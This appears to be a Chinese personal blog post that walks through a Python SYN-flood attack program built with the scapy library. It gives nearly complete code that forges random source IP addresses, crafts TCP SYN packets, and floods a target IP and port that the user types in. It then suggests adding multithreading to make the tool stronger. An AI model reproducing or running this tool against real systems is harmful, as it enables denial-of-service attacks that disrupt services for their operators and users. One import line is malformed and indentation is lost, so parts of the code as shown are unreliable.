Syn_Flood

Syn_Flood

十二月 01, 2019

Syn_Flood攻击程序


什么是SYN?

  • SYN:同步序列编号(Synchronize Sequence Numbers)。是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN+ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
  • TCP连接的第一个包,非常小的一种数据包。SYN 攻击包括大量此类的包,由于这些包看上去来自实际不存在的站点,因此无法有效进行处理。每个机器的欺骗包都要花几秒钟进行尝试方可放弃提供正常响应。

SYN Flood 攻击

  • 花了几天时间琢磨了一下(主要是琢磨scapy…)
  • scapy真的是太诱人了(危险发言)

头文件

1
2
3
4
from os import system
from sys import stdout
from random import randint
from scapy.all from *

主要就是这四个库的应用了。
不同于C语言的实现,需要自己构造IP数据报和TCP报文,由于拥有scapy这个强大的库,导致实现变得很简单

  • randint()用来生成随机的IP地址
  • system()用来使用清屏作用(美观是程序员的浪漫不是嘛)
  • stdout.write()来覆盖打印

P.S. 安装scapy真的好麻烦,需要先安装它的依赖库,建议直接使用Anaconda

生成随机的IP地址

由于使用的语言是python,导致这一切都变得异常的简单

1
2
3
def IP_Address():
ip = '.'.join([str(randint(0, 255)) for i in range(4)])
return ip
  • 本质就是利用join()函数和推导式,没什么好说的

Syn_Flood函数主体部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def Syn_Flood(des_ip, des_port, pack_num):
count = 0
ListA = ['p','a','c','k','e','t',' ','s','e','n','d','i','n','g','.','.','.']
ListB = ['P','A','C','K','E','T',' ','S','E','N','D','I','N','G','·','·','·']
for i in range(pack_num):
con = ''
for j in range(len(ListA)):
if j == i % len(ListA):
con += ListB[j]
else:
con += ListA[j]
stdout.write('\r{}'.format(con))
send_port = randint(1000, 9000)
s_eq = randint(1000, 9000)
w_indow = randint(1000, 9000)

# 构造IP数据包
IP_Packet = IP ()
IP_Packet.src = IP_Address()
IP_Packet.dst = des_ip

# 构造tcp报文
TCP_Packet = TCP ()
TCP_Packet.sport = send_port
TCP_Packet.dport = des_port
TCP_Packet.flags = 'S'
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow

send(IP_Packet/TCP_Packet, verbose = 0)
count += 1
stdout.write('\rTotal sent {}\n'.format(count))
  • 别问为什么有那么长的ListA和ListB,都是为了好看!!
  • 其本质上就是利用scapy构造IP数据报和TCP报文,关于scapy的用法,日后会单独写一篇来做介绍~
  • 这里使用了随机的端口序列,seq序列和window序列。
  • 将构造好的TCP报文发出去,就大功告成啦!

主函数部分

1
2
3
4
5
6
7
if __name__ == "__main__":
des_ip = input('Destination IP Address:')
des_port = input('Destination Port:')
pack_num = input('How many packets do you want to send:')
system('clear')
Syn_Flood(des_ip, int(des_port), int(pack_num))
print('Finish')
  • 没啥好说的,就是输入你的目标地址和目标端口,并且注明发送的数量就好。

切记,一定别忘了强制类型转换为int(),否则无法执行,毕竟谁也不认自己的端口号是一个字符串吧嘻嘻


总结:

  • 怎么说呢,主要还是scapy过于强大,导致原本过于复杂的任务变得非常的轻松。总的来说还是有一些缺憾吧,比如没有加入多线程,没有考虑到相同的mac地址之类的,总之下一次在继续完善吧~